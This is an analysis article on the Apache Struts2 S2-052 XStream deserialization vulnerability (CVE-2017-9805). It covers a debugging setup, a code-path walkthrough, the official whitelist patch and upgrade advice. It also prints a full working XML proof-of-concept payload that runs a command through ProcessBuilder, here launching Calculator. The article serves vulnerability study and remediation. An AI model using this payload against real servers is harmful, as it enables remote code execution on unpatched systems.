Struts2-052 vulnerability example analysis

Preface

On September 5, 2017, a serious vulnerability discovered by security researchers from the foreign security research organization lgtm.com was officially released in Apache Struts 2. The vulnerability number was CVE-2017-9805 (S2 -052), the attacker can pass in carefully constructed xml data and execute remote commands.
The XStream component of the Struts2 REST plug-in has a deserialization vulnerability. When using the XStream component to deserialize data packets in XML format, the data content is not effectively verified, which poses a security risk and can be executed by remote commands.
Exploit conditions: Using REST plugin and within the affected version range.
Utilization method: The attacker constructs malicious data packets for remote exploitation.
Affected versions: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

Debugging environment construction

1) Download the official source code:
git clone https ://github.com/apache/Struts.git
2) Switch to the 2.5.12 branch:
git checkout STRUTS_2_5_12
3) Copy the entire src/apps/rest-showcase folder in the source package Come out and create a new project
4) Use IDEA or eclipse to import the maven project
5) After running in debug mode, you can debug happily

Vulnerability Principle Analysis

According to the official announcement, we know that this vulnerability appears in the XstreamHandler class, in the struts2-rest-plugin-2.5.12.jar package.
So check this class, there is a toObject method in this class, its function is to deserialize the xml content.

First put a breakpoint in this method, and then construct the data packet

After sending the data packet, it will jump to the breakpoint. At this time, you will see In the upper call stack, ContentTypeInterceptor calls this method

The intercept method in the ContentTypeInterceptor class will generate the corresponding object based on the value of the Content-Type passed in. Since we are passing in application/xml, so Correspondingly generates an xml processing object XStreamHandler.
Continue with f5 and see the function unmarshal that performs deserialization. There is no data security check when this function is executed, resulting in remote command execution.

Then enter the unmarshal function and continue debugging. AbstractReflectionConverter will parse the xml tags and values ​​we submitted step by step, and finally call the code in the poc

Reproduction of the vulnerability

Click Submit on the page http://localhost:8080//struts2-rest-showcase/orders/3/edit,

Intercept the HTTP request and send the request Change the body to POC Payload, and change the Content-Type Header to application/xml.
payload is:

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.nativestring> 
      <flags>0</flags>  
      <value> 
        <datahandler> 
          <datasource> 
            <is> 
              <cipher> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceiterator> 
                  <iter> 
                    <iter></iter>  
                    <next> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirecterrorstream>false</redirecterrorstream> 
                    </next> 
                  </iter>  
                  <filter> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types></parameter-types> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceiterator>  
                <lock></lock> 
              </cipher>  
              <input>  
              <ibuffer></ibuffer>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </datasource>  
          <transferflavors></transferflavors> 
        </datahandler>  
        <datalen>0</datalen> 
      </value> 
    </jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry> 
</map>

After sending the request, the calculator pops up

Patch

Official patch, the official repair plan, the main one is Whitelist the data in xml, put Collection and Map, some basic classes, and time classes in the whitelist, so as to prevent XStream from bringing in some harmful classes during deserialization

Repair Suggestions

Version 2.3.0 to 2.3.33 is upgraded to Struts 2.3.34 version
Version 2.5.0 to 2.5.12 is upgraded to Struts 2.5.13 version

The above is the detailed content of Struts2-052 vulnerability example analysis. For more information, please follow other related articles on the PHP Chinese website!